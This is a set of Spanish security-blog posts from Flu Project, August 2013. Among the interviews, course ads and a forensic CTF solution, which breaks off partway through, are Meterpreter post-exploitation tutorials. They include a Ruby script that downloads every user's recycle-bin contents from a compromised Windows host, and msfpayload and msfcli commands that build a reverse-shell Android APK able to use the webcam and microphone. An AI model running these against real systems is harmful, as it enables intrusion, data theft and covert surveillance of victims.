31 ago 2013

Nuestro próximo reto lo eliges tú

Buenas a todos, hoy día 31 de Agosto, último día de mes y posiblemente penúltimo día de vacaciones para muchos, volvemos por estos lares para haceros una pregunta, ¿cuál queréis que sea nuestro próximo reto hacking?Como sabéis, una de las ideas iniciales del proyecto Flu era ayudar a la gente que está empezando en el mundo de la seguridad para que tuviese un escenario de prácticas con el que trastear sin tener que meterse en líos, además de concienciar y formar con los posts diarios, y con esa idea de vez en cuando publicamos un reto hacking. Por el momento llevamos 8 retos publicados de diversidad de temáticas que han tenido bastante éxito. Los tenéis recopilados aquí:
  1. FPE1: Primer reto de Esteganografía Flu Project [Esteganografía] - (Solución)
  2. FPR2: Hashing, "Contrato para rato" [Hashing] - (Solución)
  3. FPR3: "Fusión" [Esteganografía] - (Solución)
  4. FPR4: "¿Quién es el mejor buscador?" [Esteganografía, Redes e Internet] - (Solución)
  5. FPR5: "¡Jackmi Amijo!" [Xpath Injection] - (Solución)
  6. FPR6 – ¡Killo! ¡onde está mi clave! [Reversing] - (Solución)
  7. FPR7 - Reto Forense: Guy! Where is the info? [Forense] - (Solución)
  8. FPR8 - Reto Hacking: BarceLOnas, ¿dónde está mi sobre? [Forense] - (Solución)
  9. FPR9 - Reto Hacking: Catástrofe aérea [Forense] - (Solución)
Se han realizado varios retos de análisis forense y esteganografía, un reto de inyección de código, otro de reversing, otro de redes, etc. Como veis, bastante variedad para que podáis tocar todos los palos en nuestros retos.Hoy nos gustaría pediros que la temática del siguiente reto la seleccioneis vosotros, para ello os pedimos que nos enviéis un correo a nuestro email info@flu-project.com, indicándonos en un breve párrafo la temática del reto que os gustaría que realizásemos, y una descripción de las fases que tendría con una historieta para crear el contexto.Tened en cuenta que nuestros medios son limitados, y no disponemos mas que de un servidor web y eso sí, de las bondades del Internet libre y muchas ganas de programar :)Si os animáis muchos a colaborar en este brainstorming posiblemente nos ayude a publicar retos más regularmente.Escucharemos vuestras peticiones, saludos!

30 ago 2013

Meterpreter API (Parte II)

En esta entrada continuamos con la segunda parte de la "API" de Meterpreter. Si quieres comenzar el desarrollo de scripts, comienza por aprender Ruby, un lenguaje sencillo e intuitivo, y no dudes en leer estos artículos:

Encendiendo el horno: desarrollo de scripts de MeterpreterMixins de RubyEvasión de eventos en los scripts de Meterpreter
Redes:

Syntax: client.net.config.get_interfacesOutput: [......]Comment: Devuelve una lista de objetos de tipo interfaz disponibles en el equipo vulnerado. Los objetos disponen de atributos de tipo IP, net mask, mac address, etc.

Syntax: client.net.config.get_interfaces[0]Output: [......]Comment: Esto devuelve el primer objeto de clase interfaz.

Syntax: client.net.config.get_interfaces[1].ipOutput: 192.168.7.3Comment: Esto devuelve la dirección IP de la interfaz alojada en la posición 1 del listado de objetos interfaz de la máquina vulnerada.

Syntax: client.net.config.get_routesOutput:Comment: Lista las rutas disponibles en el equipo vulnerado.

Syntax: client.net.config.add_route("x.x.x.x","x.x.x.x","x.x.x.x")Output: trueComment: Añade una ruta en el equipo vulnerado. El primer parámetro es la subred, el segundo la máscara de red y el tercero es el gateway.

Syntax: client.net.config.remove_route("x.x.x.x","x.x.x.x","x.x.x.x")Output: trueComment: Elimina una ruta en el equipo vulnerado. El primer parámetro es la subred, el segundo la máscara de red y el tercero es el gateway.

Configuración del sistema

Syntax: client.sys.config.getuidOutput: "NT AUTHORITY\\SYSTEM"Comment: Devuelve la identidad del proceso donde se encuentra inyectado Meterpreter, propocionando el nivel de acceso.

Syntax: client.sys.config.sysinfo["Computer"]Output: "WINXP-1337"Comment: Devuelve el nombre del equipo.

Get the victims operating system name and version

Syntax: client.sys.config.sysinfo["OS"]Output: "Windows XP (Build 2600, Service Pack 2)."Comment: Devuelve el sistema operativo.

Get the victims operating system architecture

Syntax: client.sys.config.sysinfo["Architecture"]Output: "x86"Comment: Devuelve la arquitectura de la máquina vulnerada.

Get the victims operating system language

Syntax: client.sys.config.sysinfo["System Language"]Output: "en_US"Comment: Devuelve el idioma del sistema operativo.

Syntax: client.sys.config.revert_to_selfOutput: N.AComment: Permite revertir los privilegios del proceso.

29 ago 2013

Entrevista a María José Montes Díaz - Hackers & Developers

Hoy tengo el placer de presentaros una entrevista a una de las pocas mujeres que andan por el mundo de la seguridad. Es cierto que cada día son más, por suerte, y que realmente aportan ideas claras e interesantes. María José colabora en una revista Hackers & Developers, que para los que no la conozcáis deciros que es una manera interesante de transmitir el conocimiento del hacking y el software libre. Sin más dilación os dejo con la entrevista a María José:

1. La primera pregunta es totalmente obligada por el mundo al que nos dedicamos. Sabes que las mujeres no abundan en el mundo de la seguridad informática, ¿Qué opinas de esto?

Bueno, la verdad es que en el ámbito tecnológico en general, hay pocas mujeres. No soy socióloga, así que esta es mi opinión, y no sé si estaré en lo cierto, pero así es cómo lo veo:  Creo que se debe a un tema educacional y social.Arrastramos una educación patriarcal, en la que el rol de la mujer tiende a ser de “cuidadora” (trabajos orientados a educación, sanidad, etc). Aunque se ha avanzado mucho en igualdad, todavía queda mucho trecho por recorrer.Desde pequeñitos, hasta la publicidad de los juguetes, tiende a ser sexista de manera más o menos sutil. Normalmente, los juegos relacionados con tecnología, suelen asociarse a niños y, los destinados a tareas de cuidados, a niñas. Esto, aunque poco a poco se va corrigiendo, hace que haya menos mujeres interesadas por la tecnología. Cuánto mayor es el nivel de igualdad en la sociedad, mayor es el número de mujeres que se interesan por la tecnología.En mi caso, he podido estar con niños y niñas. Su atracción por la tecnología no es muy diferente a esas edades. Lo que ocurre es que la sociedad les va “orientando” hacia determinados roles.

2. ¿Qué es lo que más te llama la atención del mundo de la seguridad?

¡Uf! Creo que es una pregunta algo difícil. En general, me siento atraída por todo. Cuándo veo demos de cómo colarse en una red e ir escalando privilegios, me parece, simplemente, asombroso. Claro, una vez descubierta la vulnerabilidad y publicado el exploit, la cosa parece simple. Lo realmente admirable es la capacidad que tienen algunas personas para descubrir este tipo de fallos.

A mi la parte de securizar servidores es la que me gusta. Es “divertido” eso de mantener un pulso con alguien que quiere colarse en el sistema :).

En el campo de seguridad me estoy formando actualmente. Es una rama de la informática que me apasiona.

3. Para los que no te conocen, ¿A qué te dedicas profesionalmente?

A la enseñanza no reglada. Trabajé como monitora de F.P.O (Formación Profesional Ocupacional), dando cursos de Informática a desempleados.. Este año he estado dando clase de programación en Python y Scratch a niños de seis a 12 años. Actualmente estoy preparando un curso “ Empezando con Python”,  para quantika14.

4. Junto a otros compañeros lleváis la revista Hackers & Developers, ¿Cómo surge la idea?

La fundadora del proyecto es Eugenia Bahit. (@eugeniabahit). La idea es fomentar y difundir las tecnologías libres.

La publicación de la primera edición, nº0  Butterfly,  llegó a mi mediante las redes sociales y me pareció un proyecto muy interesante, de esos de los que dices oye, me gustaría participar.

Un día me llegó una mención en Twitter por parte de Eugenia y Celia invitándome a participar, (me conocieron por el blog que había empezado a escribir sobre Arch), no tuve ninguna duda en unirme al proyecto,  mi primera contribución fue en la nº 1, Cobra.

5. Para los que no os conozcan, ¿Qué es Hackers & Developers?

Es una revista mensual sin ánimo de lucro, que trata de contribuir al desarrollo y creación  de conocimiento libre.

Sobre el término “Hackers”, me gustaría aclarar que nos basamos en el significado que le dio originalmente Richard Stallman, uno de los creadores del mismo. Según él, el término “hacker” hace referencia a un individuo que disfruta jugando con la inteligencia, con independencia de la informática. Añade que, el significado de “hacking” tiene que ver con “aplicar la inteligencia de forma divertida”.

6. Si alguien quiere colaborar con la revista, ¿Qué debe cumplir? ¿Es una revista abierta o bajo contrato? (pregunta difícil para nuestra invitada :D)

Pues sí, es una revista cerrada y aceptamos pagos de todo tipo, incluso sobres. Mordemos si alguien se acerca! XD

Por supuesto que es abierta y, aquell@s que quieran unirse, no tienen más que enviar un email  a contacto@hdmagazine.org.con asunto "Staff2013", y contarnos un poco sobre sus inquietudes, intereses, por qué quiere unirse al proyecto, en definitiva, presentarse :)

Los requisitos están descritos aquí http://www.hdmagazine.org/more#requisitos

7. Una de nuestras típicas preguntas, y que siempre hacemos a los invitados es: ¿Qué opinas de Flu Project?

Pues me parece un gran proyecto. El desarrollo de un troyano para crear botnet y encima, disponer del código para poder comprender el funcionamiento, me parece genial.

8. Eres linuxera por vocación. En el mundo de la seguridad, ¿Con cuál distribución te quedas?

Si te refieres a pentensting, entre  Backtrack y Kali Linux, dado que me gusta más Debian, elegiría Kali.

Hay un proyecto no oficial en Arch que merece la pena mirar: BlackArch. Está inspirado en Backtrack y, dado que Arch padece “versionitis”... En serio, me parece interesante.

En el caso de distribuciones para servidores, me gustaría decir que Arch, pero depende mucho de los servicios que se vayan a desplegar. En este caso, creo que la mejor opción es Debian. Aunque, si pretendemos virtualizar, una buena idea creo que es tener a Arch como host.

9. ¿Tu último libro?

No tengo todavía ningún libro publicado, aunque es una idea que lleva tiempo rondándome por la cabeza, así que, hace poco me decidí a escribir un libro de programación orientado a niños

10. ¿Tus próximos eventos?

Ahora mismo tengo dos:

Un taller en remoto sobre Arch, Nginx, Apache, y un poco de seguridad junto Miguel (@archuser),  los días 31 agosto, 7 y 14 septiembre, en la Fundación  Casa del Bosque de Bogotá (Colombia).

Y en Febrero estaré en cuenca MonterueloCon hablare sobre seguridad Wifi

Pues esto es todo, dar las gracias a María José por su espontaneidad y por dejarnos parte de su tiempo para llevar a cabo la entrevista. Recuerdos a @archuser, al cual no he desvirtualizado pero sí que conozco, y bueno ¿Quién será el próximo entrevistado en Flu Project? ¿Ideas?

28 ago 2013

Meterpreter: Investigando en el IRB

¿Qué es el IRB? Es un intérprete de Ruby con el que un desarrollador puede ejecutar órdenes en Ruby y obtener los resultados en pantalla. Es totalmente recomendable que las personas que acaban utilizando Metasploit, y seguramente Meterpreter, aprendan el lenguaje de programación Ruby. Meterpreter proporciona al auditor un intérprete con el que interactuar de manera directa con la máquina remota o comprometida. A priori, y según hemos ido viendo en los cursos que se han dado de Metasploit, a los auditores les cuesta ver la utilidad al IRB, pero esto generalmente es porque no controlan el lenguaje del intérprete. Es interesante ver la utilidad del IRB, y sobretodo lo que más nos interesa entender como funciona Meterpreter por debajo.

Hoy hablaremos de qué cosas hay en el IRB que puedan resultarnos de interés. Para poder seguir el artículo, y futuros artículos que vendrán se recomienda conocer el lenguaje Ruby. El objetivo final será manejarse por este entorno, y poder desarrollar scripts muy interesantes y útiles para la comunidad Metasploit.

En el IRB existen distintos objetos que se deberán de conocer. El más importante es el objeto client, el cual representa la máquina vulnerada y proporciona un gran número de acciones que iremos viendo. Existen comandos interesantes que proporciona el IRB de Meterpreter, por ejemplo context, extensions, commands, etc. El comando extensions alberga las extensiones que hay cargadas actualmente en el framework, en lo que a Meterpreter se refiere. El comando commands proporciona una serie de órdenes que pueden ser utilizadas en la consola de Meterpreter e información sobre dicho comando. Y por último, un comando muy interesante es el context. Este comando alberga el contexto en el que se encuentra Meterpreter, y los objetos disponibles en el IRB, dando información en algunos de atributos y métodos que pueden resultar de interés.

En este punto hay que hacer una nota mental para el futuro, ¿Por qué ejecuto commands o extensions y en uno me devuelve información entre [] y otro {}? Es Ruby puro y duro, entre corchetes simplemente es un array o lista, por lo que el comando extensions proporciona un array con las extensiones cargadas, mientras que la orden commands proporciona un tabla (denominadas hash, o clave -> valor). Como se puede ver existen pares separados por comas, a la izquierda de => es la clave, y a la derecha del => es el valor, por lo que si queremos acceder al contenido de la clave background, haríamos algo tal que así:

ordenes = commands #esto guarda la salida en una variable

ordenes['background'] #acceso a dicho contenido

 

El objeto client

El más importante y el que nos va a dar el control remoto sobre la máquina vulnerada. Sabemos que Meterpreter se comporta como un client y un servidor, o eso nos dice la teoría. Vamos a bajar un peldaño y vamos a ver como acceder a una especie de API de este Meterpreter, y como se van componiendo los componentes que están por debajo. Si en el IRB ejecutamos client a secas, el intérprete nos devolverá que existe una sesión abierta con una dirección IP y con una identidad sobre un equipo. El objeto client tiene muchos métodos, los cuales pueden ser enunciados mediante la invocación del método methods, por lo que es importante aprender a usar este tipo de método estemos en el objeto que estemos.

Tras ejecutar el método methods obtenemos un listado en formato de array, el cual nos permite ya ver algunos aspectos importantes y que se pueden visualizar en la API de Meterpreter. Se puede visualizar el paquete core, fs, sys, net, railgun, webcam, ui, priv, entre otros. Ahora para movernos por estos elementos interesantes existen dos maneras, si son una clase final o si no lo es, ¿Cómo lo sabemos? Sencillo, ejecutamos, por ejemplo, client.fs y client.fs.file y obtenemos dos tipos de salida. En la primera podemos observar que hay tres elementos más por debajo, dir, file y filestat, mientras que en la segunda vemos que ya es una clase. En ambos casos podemos visualizar sus métodos a través del método methods.

Para acabar hoy, veremos como acceder a estas funciones de una clase y poder sacar algo de provecho de nuestra toma de contacto con el IRB de Meterpreter. Utilizaremos SYS a través del objeto client, ejecutando la siguiente instrucción: client.sys.process.get_procesess.

Se puede observar como primero se busca la clase process, y después se almacena en la variable procesos la llamada al método get_processes de la clase process. Ahora utilizaremos los conocimientos de Ruby para pintar bonito los procesos, mediante su nombre y su PID. Antes de poner el código analicemos en qué formato nos devuelve el método get_processes su información. Hay que ver que lo primero es [ por lo que sabemos que es una lista, y los elementos de su interior empiezan por { por lo que ya sabemos que es una lista de claves-valor.

procesos.each do |p|print_line "PID: #{p['pid']} Nombre: #{p['name']}"end

Esto es todo por hoy, toma de contacto con el IRB y como moverse con él. Recordar que si queréis empezar a desarrollar scripts para Meterpreter, o módulos de Metasploit, no os perdáis la serie de Flu Project.

Meterpreter scripts: encendiendo el horno

Mixins en Meterpreter

More Mixins

27 ago 2013

Apúntate ya al curso de Análisis Forense en iOS, Android y Windows de la NcN

Buenas a todos, como cada año el próximo mes de Noviembre se celebra una nueva edición del congreso No cON Name, el más antiguo a nivel nacional y uno de los mejores a nivel europeo, en el que se dan cita profesionales del mundo de la seguridad de la información para compartir sus conocimientos con otros miembros de la comunidad. Este año tengo el enorme placer de impartir una de las formaciones que se realizan en los días previos al congreso, y que tratará sobre una de las temáticas que más me apasionan, las ciencias forenses.

El curso es de un día de duración (8 horas), se celebrará el 31 de octubre de 9:30 a 20:00h, y a lo largo de él tendréis la oportunidad de aprender los siguientes contenidos:

Evidencia digital (1 hora)

  • La obtención de evidencias. Herramientas HW y SW.
  • Metodología para la adquisición de evidencias.
  • RFC 3227.
  • Firmado de evidencias.
  • La cadena de custodia.

Análisis de datos (1 hora)

  • Tratamiento de evidencias.
  • El principio de Locard.
  • La línea temporal.
  • Buscando información a través de aplicaciones forense.

Correo electrónico (30 minutos)

  • Análisis forense de correo electrónico

Forense de aplicativos (1:30 horas)

  • Forense en redes de datos.
  • Forense de memoria RAM.
  • Análisis de malware.

Forense de dispositivos móviles iOS y Android (3 horas)

  • Introducción a la seguridad en dispositivos móviles: Arquitectura del sistema iOS, Seguridad en sistemas iOS, Arquitectura del sistema Android y Seguridad en sistemas Android
  • Vulnerabilidades y exploits
  • Reversing de aplicaciones móviles
  • Análisis Forense: Preservación de evidencias, Obtención de información del dispositivo, Obtención de datos de la tarjeta SD, Volcado de memoria RAM, Adquisición de imagen física de la memoria interna, Live Forensics, Adquisición de información de la tarjeta SIM e Informe

Elaboración del informe pericial (30 minutos)

  • Objetivo y elaboración del informe.
  • Puntos clave.

Tendrémos muchas demostraciones prácticas durante todo el curso con dispositivos Windows, iOS y Android.

Además, durante el curso os tengo alguna que otra sorpresa preparada con algunos juguetes menos comunes :-)

El temario del curso que he seleccionado para la formación creo que es muy completo e interesante, y en solo 8 horas os permitirá empezar a caminar solos en el mundo de los análisis forenses, para que en el futuro os podáis convertir en grandes expertos. Igualmente la formación os será de utilidad para afianzar conocimientos o profundizar en un área concreta que sea de vuestro interés.

No hace falta que tengáis conocimientos previos en Análisis Forense, empezaremos desde 0, pero si es recomendable haber trabajado previamente con Windows, iOS y Android, para agilizar las prácticas del curso.

El precio del curso es de 200€ e incluye desayuno y bufet libre, así como algún que otro regalo sorpresa como detalle que mi empresa, everis, tendrá con los asistentes.

Además, aprovecho para recordaros que la inscripción y pago de todas las formaciones de la NcN incluyen la entrada gratuita al Congreso No cON Name edición 2013.

Para más información acerca de ésta y otras formaciones:

http://noconname.org/evento/

Para cualquier duda acerca de los contenidos del curso podéis contactarme en:
  • Email personal: jantonio.calles[arroba]flu-project.com
  • Email corporativo: juan.antonio.calles.garcia[arroba]everis.com
  • Twitter: @jantoniocalles

26 ago 2013

Meterpreter Scripts: Garbage Collector en Rapid7

La entrada de hoy es un tanto especial ya que ha sido el primer script el cual he desarrollado en Redmine para la comunidad Metasploit. La idea siempre me había llamado, poder colaborar y que alguna feature o funcionalidad sea útil para un pentester en el ámbito de la post-explotación con un Meterpreter. Ya sabéis que desde hace tiempo venimos realizando artículos sobre como desarrollar funcionalidades para Meterpreter, el payload estrella en Metasploit. La primera idea que se me ocurrió y me vino del libro de mi amigo Silverhack, es la de un módulo de post-explotación con el que podamos descargar todos los archivos y carpetas de todos los usuarios de un sistema comprometido. Ya sabéis que en muchas ocasiones los usuarios dejan en la papelera documentos importantes, y que la papelera no deja de ser una ubicación de disco. Por esta razón, me pareció algo interesante en la fase de recogida de información.
Podéis descargar el script desde el repositorio de código, pero también os lo pego aquí y lo vamos analizando:

#Autor: Pablo Gonzalez
#Windows Garbage Collector v1
if client.platform !~ /win32|win64/
print_line “No compatible”
raise Rex::Script::Completed
end
opts = Rex::Parser::Arguments.new(
“-h” => [false, "Help menu"],
“-g” => [false, "GarbageCollector"],
“-o” => [false, "Only Files"]
)
info = client.sys.config.sysinfo()
if info['OS'] =~ /Windows XP/
garbage = ‘c:\\Recycler\\’
else
garbage = ‘c:\\$Recycle.bin\\’
end

El comienzo es el típico de los scripts que hemos ido trabajando en el blog. Se comprueba si estamos en un sistema Windows y se preparan los argumentos que el script podrá recibir. En nuestro caso tenemos tres:
  • -h, siempre utilizado para la ayuda
  • -g Nos permite descargar todos los archivos y carpetas de todos los usuarios del sistema que se encuentran en la papelera de reciclaje.
  • -o Nos permite descargar solo los ficheros de todos los usuarios del sistema que se encuentran en la papelera.
Después de esto, se diferencia entre si el sistema es de kernel 5.x o 6.x, para ello nos basamos en sí es Windows XP, el cual tendrá la papelera de reciclaje en c:\Recycler o en c:\$Recycle.bin si es un Windows Vista/7/8, o su versión servidor 2008/2008R2/2012. El punto de partido será dicha ruta y se almacena en la variable garbage.
opts.parse(args) { |opt, idx, val|
case opt
when “-h”
print_line “Help Menu”
print_line(opts.usage)
raise Rex::Script::Completed
when “-g”
print_status “Recursive Downloading Garbage…”
downloading(garbage,”./”)
when “-o”
print_status “Downloading Garbage…”
dirs = client.fs.dir.entries(garbage)
dirs.each {|i|
if i != “.” && i != “..”
print_status i
#Descarga del contenido de una carpeta, ficheros de una carpeta
if !File.exists?(i)
Dir.mkdir(“~/”+i)
end
client.fs.dir.download(“./”+i, garbage+i)
end
}
end
}
En esta parte del código se parsean los parámetros que el usuario haya introducido en su script. En el caso de introducir el parámetro -g, simplemente se llamada a la función downloading, la cual trataremos después. En el caso de introducir el parámetro -o, se realiza un listado de la ruta almacenada en garbage y se realiza la descarga de lo encontrado en la papelera. Hay que tener en cuenta que la opción -o se corresponde con la descarga de solo ficheros, para ello se coge los ficheros que haya en garbage y se descargan sin profundizar ningún nivel. Esta parte no es nada compleja, y fácilmente entendible.
def downloading(remoto,local)
print_status remoto
dirs = client.fs.dir.entries_with_info(remoto)
dirs.each do |d|
next if d["FileName"] == “.” || d["FileName"] == “..”
mode = d["StatBuf"].stathash["st_mode"]
if mode.to_s =~ /(^16)|(^17)/
print_status “It is a directory #{mode} #{d["FilePath"]}”
if !::File.exists?(local+d["FileName"])
Dir.mkdir(local+d["FileName"])
end
client.fs.dir.download(local+”/”+d["FileName"],d["FilePath"])
downloading(d["FilePath"],local+d["FileName"]+”/”)
else
print_status “It is a file #{mode} #{d["FilePath"]}”
client.fs.file.download(local+”/”+d["FileName"],d["FilePath"])
end
end
end
La función downloading es utilizada cuando queremos descargar los archivos y carpetas de manera recursiva de la papelera. Es decir, todo lo que se encuentre dentro de la papelera, aunque haya 7 niveles en una carpeta que está introducida en ésta. La naturaleza de la función es recursiva, por lo que se puede visualizar en el código una llamada a la propia función downloading en cuanto se encuentra un directorio dentro de la papelera. Para realizar un listado inicial de la papelera se utiliza el método entries_with_info, con el que podremos decidir si el elemento que analizamos es una carpeta o un fichero, en caso de ser una carpeta debemos crearla en local y realizar la descarga de lo que hay dentro. En el caso de ser un fichero, simplemente realizamos la descarga del elemento.
Os animamos a qué probéis el módulo de post-explotación en vuestro Metasploit y vuestras auditorías. Os dejamos algunas capturas para que veáis su potencial, para ello os dejamos un caso de uso.
  1. El pentester consigue una sesión de Meterpreter en una máquina vulnerada mediante la explotación de alguna vulnerabilidad.
  2. La recogida de información mediante los scripts winenum y scraper es realmente interesante. Incluso GarbageCollector se podría integrar con dichos scripts, pero a día de hoy no lo está.
Os enseñamos la recogida recursiva de la papelera.Ahora comprobamos en el equipo local, el del auditor o pentester, y nos deja los elementos de la papelera donde hubiéramos lanzado Metasploit, tal y como se puede ver en la imagen.Esperamos nuevas ideas, mejoras, críticas y  por qué no ver nuestra feature en una versión de Metasploit Framework por defecto.

25 ago 2013

Informe Flu - 138

Como cada semana nos encontramos ante nuestros “Enlaces de la semana”. Lo que ha ocurrido durante la semana en Flu Project ha sido lo siguiente:

Lunes 19 de Agosto

Martes 20 de Agosto

Miércoles 21 de Agosto

  • El miércoles poníamos a vuestra disposición parte de la API de Meterpreter, para que vayáis programando vuestras funcionalidades para este magnífica payload.

Jueves 22 de Agosto

Viernes 23 de Agosto
  • Los nuevos peligros en formato smartphone, el señor meterpreter desembarca en Android. Una variación del payload para plataformas Java ha llegado a Android, ¿Quieres ver una PoC de su funcionamiento?

Sabado 24 de Agosto

24 ago 2013

Codecademy: Aprende a programar

En una de esas noches de verano en la que navegas sin un rumbo fijo por Internet, e investigando un poco sobre las Raspberries, me topé con un niño llamado Nicholas, el cual se había programado una app que interactuaba con un iPad a través de su Raspberry en Python. El chico había aprendido a programar python meses antes en Codecademy, lo cual me llamó mucho la atención.

En esta especie de escuela de programación interactiva puedes aprender distintos lenguajes de programación, los que más me llamaron la atención fue Python y Ruby. Ya sabéis que Ruby me interesa mucho por el tema de Metasploit y su desarrollo. En Codecademy se presentan distintos tutoriales donde nos indican que debemos ir programando y como ir haciéndolo, es un modelo instructor-guiado muy sencillo e intuitivo. En la siguiente imagen podéis ver, como a la izquierda nos presentan la lección, y nos dejan un área para ir programando lo que nos piden.

Por otro lado, a la derecha del navegador dispondremos de una consola de salida del código que nosotros programemos. Es bastante intuitivo y fácil de manejar. Un vez se consiga finalizar con éxito la lección en la que nos encontremos, evaluando el código que nosotros programamos, nos proporcionan acceso a otra lección más avanzada.

Este verano, si tienes tiempo entre tinto de verano y tinto de verano, te animamos a que pruebes Codecademy y refresques tus conocimientos en los lenguajes de programación que más te interesen.

23 ago 2013

Meterpreter en Android: El desembarco en tu smartphone

Cuando leí la noticia, gracias al post de José Selvi en su blog, me pareció algo normal y que era cuestión de tiempo. Aprovecharse del meterpreter de Java, para mudarlo a Android, sabiendo la conexión que hay entre ambos era cuestión de tiempo. Un meterpreter corriendo en mi smartphone es una de las cosas que menos gracia me podría hacer, si no se tratase de una prueba de concepto.
La aplicación para generar el APK será msfpayload, con esta herramienta podemos generar shellcodes, tanto para lenguajes como C, Javascript, Ruby, como generar archivos binarios, los cuales contengan la shellcode. El caso típico es el de nuestro troyano casero, o como generar un EXE con un Meterpreter de tipo inverso. En este caso, utilizaremos la aplicación msfpayload para generar un APK para Android, el cual tendrá un Main Activity un tanto curioso, y es que realmente lo que ejecutará será el Meterpreter de Java modificado para poder correr en un Android. Utilizaremos msfcli para recibir la conexión inversa que es generada por la shellcode que se ejecuta en el terminal.
En primer lugar generamos el APK con la instrucción msfpayload android/meterpreter/reverse_tcp LHOST=<IP donde esperaremos> LPORT=<puerto donde se debe conectar> R > meter.apk.
Una vez generado el bichito, lo que haremos es configurar msfcli para recibir la conexión inversa... esperaremos a que el bichito vuelva a casa. Para ello, configuramos la herramienta de la siguiente manera msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=<IP donde queremos que vuelva o por donde recibiremos las conexiones>.
Una vez que la víctima ejecute el APK se ejecutará la shellcode que se encuentra dentro del binario, provocando la conexión inversa. Acordaros que Meterpreter es de tipo Stager, por lo que se realizará en dos etapas, primera de conexión y segunda de funcionalidades.
Ya disponemos de la sesión inversa y ¿Qué podemos hacer con esto? Más adelante os dejamos un listado de comandos disponibles en este Meterpreter, más que nada las cosas que podrías hacer con un Meterpreter de Java. Bien, como ejemplo gráfico vamos a lanzar la captura de una imagen a través de la cámara del propio dispositivo, mediante el uso del comando webcam_snap. Con el comando webcam_list podemos listar las cámaras que dispone el dispositivo (frontal, trasera). Un ejemplo de captura de imagen de la cámara frontal del smartphone en el que se ejecuta la shellcode:
También disponemos los comandos upload y download, para descargar y subir archivos al dispositivo, además de una shell tal y como se puede visualizar en la imagen:
Por último, me paré a ver que podemos ver en el intérprete de Ruby, irb. Este tema es realmente interesante, ya que permitirá a los interesados ahondar en el desarrollo de scripts de Meterpreter, del cual ya hemos hablado en Flu Project. Próximamente continuaremos con este interesante tema, entender a bajo nivel como funciona Meterpreter, y como con Ruby y la "API" de Meterpreter podemos hacer cosas muy interesantes.
Comandos utilizables con el Meterpreter de Android:
Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

22 ago 2013

#FPR8 - Solución al Reto Hacking: BarceLOnas, ¿dónde está mi sobre?

Buenas a todos, hace una semana publicamos el reto hacking número 8 de Flu Project, al que titulamos: "BarceLOnas, ¿dónde está mi sobre?". En el reto teníais que meteros en la piel de Enrique García García, perito independiente en el Juicio del Señor BarceLOnas, y analizar un pendrive para intentar recuperar todas las evidencias posibles para refutar la hipótesis de que el Señor BarceLOnas había gastado 300.000€ obtenidos a través de acciones ilícitas.
Una vez metidos en contexto, comencemos el reto.
En primer lugar el perito Enrique había recibido una carta junto con un paquete en el que se le proporcionaba un DVD con una imagen en formato dd del pendrive, y el documento de cadena de custodia. Como no está la economía para tirar cohetes, excepto para el Señor BarceLOnas, os dejamos dichos archivos disponibles para descarga desde AQUÍ.
Nada más abrir el ZIP, nos encontrábamos con lo siguiente:
Dentro del ZIP se enconotraba una excel con el documento de cadena de custodia, con el correspondiente hash de la imagen dd:
Un fichero de texto generado automáticamente por la herramienta FTK Imagen, con la información de la clonación:
Y finalmente, la propia imagen en formato dd.
Si abríamos la imagen, se podía ver como a priori no contenía ningún tipo de archivo, pero tras pasarla por alguna herramienta del estilo de FTK Imager, se puede comprobar como el dispositivo contenía realmente dos archivos que fueron eliminados, una imagen .jpg y un archivo con extensión .doc:
Aprovecharemos la opción de FTK Imager de exportación para llevarnos los archivos a nuestro equipo y trabajar más comodamente con ellos.
Si intentábamos abrir el documento .doc, nos encontrábamos con el siguiente error:
Como muchos habéis pensado, el problema era que el archivo no era realmente un .doc, sino que se trataba de un archivo .xlsx. Por tanto si cambiábamos la extensión, lográbamos abrir el archivo:
Ahora al intentar abrir el archivo veremos otro error, pero podremos recuperar su contenido, o al menos, parte de él... :-)
Bien, ya sabemos donde han ido a parar los primeros 18.000€ de los 300.000€ robados por el Señor BarceLOnas. Acabaron en manos de un "Príncipe Nigeriano...".
A continuación, si no pulsábamos sobre "guardar cambios", para que Excel no nos restaurase el archivo xlsx, podíamos descomprimirlo, como ya hicimos en otros retos con archivos de tipo docx por ejemplo.
En los documentos Excel de tipo xlsx, podemos utilizar la carpeta "xl\media" para ocultar imágenes, como por ejemplo ha hecho nuestro amigo BarceLOnas:
Y si abrimos la imagen "Contabilidad.jpg" nos encontraremos con una bonita "hoja de cuaderno":
Parece ser que nuestro amigo además de algunas deudas, había realizado algunos "regalos" por ahí. Si navegamos hacia los documentos indicados en la hoja, podríamos llegar a los siguientes PDF:
Bien, si sumamos la casita y el traje ya tenemos 253.386€. Pero nos siguen faltando 46.614€. ¿Dónde estarán?
Si recordáis, en el pendrive también existía una imagen jpg que había sido eliminada. Si la abrimos podemos comprobar como su aspecto parece que ha sido alterado sospechosamente:
Si la abrimos con un editor hexadecimal, y buscamos patrones extraños en ella, encontraremos el siguiente texto entre las posiciones 4A69 y 4A7F:
